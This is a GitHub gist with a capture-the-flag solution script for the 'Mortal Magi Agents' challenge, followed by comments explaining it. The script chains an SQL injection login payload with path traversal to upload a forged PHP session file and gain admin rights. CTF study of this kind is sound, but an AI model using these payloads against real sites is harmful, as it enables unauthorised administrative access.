Skip to content

Instantly share code, notes, and snippets.

@ytoku
Last active September 11, 2015 06:56
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ytoku/8147cf145bc0cdc116d9 to your computer and use it in GitHub Desktop.
Save ytoku/8147cf145bc0cdc116d9 to your computer and use it in GitHub Desktop.
Mortal Magi Agents: intended exploit
TARGET_URL=http://localhost:10080
PASSWORD=''
HASHED_PASSWORD=$(echo -n $PASSWORD | sha1sum | awk '{print $1}')
COOKIEFILE=$(mktemp)
SESSFILE=$(mktemp)
echo -n 'user|s:1:"a";admin|b:1;' > $SESSFILE
curl -s -c $COOKIEFILE "$TARGET_URL/login.php" -d "signin=&password=$PASSWORD&user=') AND 0 UNION SELECT '', '$HASHED_PASSWORD', '', 0 -- /../../../../../var/lib/php5/sess_" >/dev/null
curl -s -b $COOKIEFILE "$TARGET_URL/index.php?page=settings" -F "file=@$SESSFILE" >/dev/null
curl -s -b "PHPSESSID=$(sha1sum $SESSFILE | awk '{print $1}')" "$TARGET_URL/index.php" | grep MMA
rm $SESSFILE
rm $COOKIEFILE
@shinichikudo1212
Copy link

Sorry, can you write up this challenge?
I'm a newbie and I can't understand the idea of this code T.T
Thank you very much.

@ytoku
Copy link
Author

ytoku commented Sep 7, 2015

avatar filename begin with username which you typed when you logged in.
So username will be "') AND 0 UNION SELECT '', '$HASHED_PASSWORD', '', 0 -- /../../../../../var/lib/php5/sess_" and file will be uploaded to /var/lib/php5/sess_*.
This is php's session filename. Now, you can use the manipulated session which contains $_SESSION["admin"]==1.

@einar-lanfranco
Copy link

Hi ytoku, great work. I want to ask you some details, how did you find the session structure? Did you use some tool or did it manually?
.

@ytoku
Copy link
Author

ytoku commented Sep 7, 2015

make a session with php and upload it :-)

@einar-lanfranco
Copy link

i don't follow you, you have server code?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment